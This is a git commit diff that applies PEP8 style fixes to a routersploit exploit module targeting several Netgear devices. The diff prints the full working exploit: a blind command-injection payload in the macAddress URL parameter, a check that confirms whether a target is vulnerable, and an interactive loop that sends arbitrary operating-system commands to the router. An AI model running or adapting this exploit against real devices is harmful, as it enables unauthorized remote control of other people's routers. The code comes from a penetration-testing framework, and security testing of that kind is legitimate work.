Commit 9448e362 by fwkz

Fixing PEP8 violations.

parent eda0455f
import requests import requests
import re
from routersploit import ( from routersploit import (
exploits, exploits,
print_status, print_status,
print_success, print_success,
print_info,
print_error, print_error,
sanitize_url, sanitize_url,
) )
...@@ -17,7 +17,8 @@ class Exploit(exploits.Exploit): ...@@ -17,7 +17,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'Netgear Multi RCE', 'name': 'Netgear Multi RCE',
'description': 'Module exploits remote command execution in multiple Netgear devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.', 'description': 'Module exploits remote command execution in multiple Netgear devices. If the target is '
'vulnerable, command loop is invoked that allows executing commands on operating system level.',
'authors': [ 'authors': [
'Andrei Costin <andrei[at]firmware.re>', # vulnerability discovery 'Andrei Costin <andrei[at]firmware.re>', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
...@@ -50,7 +51,7 @@ class Exploit(exploits.Exploit): ...@@ -50,7 +51,7 @@ class Exploit(exploits.Exploit):
valid_resource = None valid_resource = None
def run(self): def run(self):
if self.check() == True: if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available") print_status("It is blind command injection - response is not available")
...@@ -61,13 +62,14 @@ class Exploit(exploits.Exploit): ...@@ -61,13 +62,14 @@ class Exploit(exploits.Exploit):
def command_loop(self): def command_loop(self):
while 1: while 1:
cmd = raw_input("cmd > ") cmd = raw_input("cmd > ")
print self.execute(cmd) print_info(self.execute(cmd))
def execute(self, cmd): def execute(self, cmd):
url = sanitize_url("{}:{}/{}?writeData=true&reginfo=0&macAddress= 001122334455 -c 0 ;{}; echo #".format(self.target, self.port, self.valid_resource, cmd)) url = sanitize_url("{}:{}/{}?writeData=true&reginfo=0&macAddress= "
"001122334455 -c 0 ;{}; echo #".format(self.target, self.port, self.valid_resource, cmd))
try: try:
r = requests.get(url) requests.get(url)
except requests.exceptions.MissingSchema: except requests.exceptions.MissingSchema:
return "Invalid URL format: %s" % url return "Invalid URL format: %s" % url
except requests.exceptions.ConnectionError: except requests.exceptions.ConnectionError:
...@@ -76,21 +78,20 @@ class Exploit(exploits.Exploit): ...@@ -76,21 +78,20 @@ class Exploit(exploits.Exploit):
return "" return ""
def check(self): def check(self):
# meaby random mark should be implemented # maybe random mark should be implemented
cmd = "echo 9fdbd928b52c1ef61615a6fd2e8b49af" cmd = "echo 9fdbd928b52c1ef61615a6fd2e8b49af"
for resource in self.resources: for resource in self.resources:
url = sanitize_url("{}:{}/{}?writeData=true&reginfo=0&macAddress= 001122334455 -c 0 ;{}; echo #".format(self.target, self.port, resource, cmd)) url = sanitize_url("{}:{}/{}?writeData=true&reginfo=0&macAddress= "
"001122334455 -c 0 ;{}; echo #".format(self.target, self.port, resource, cmd))
try: try:
r = requests.get(url) response = requests.get(url)
except: except:
return None # could not be verified return None # could not be verified
if r.status_code == 200: if response.status_code == 200:
res = r.text response_body = response.text
if "Update Success!" in response_body and "9fdbd928b52c1ef61615a6fd2e8b49af" in response_body:
if "Update Success!" in res and "9fdbd928b52c1ef61615a6fd2e8b49af" in res:
self.valid_resource = resource self.valid_resource = resource
return True return True
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment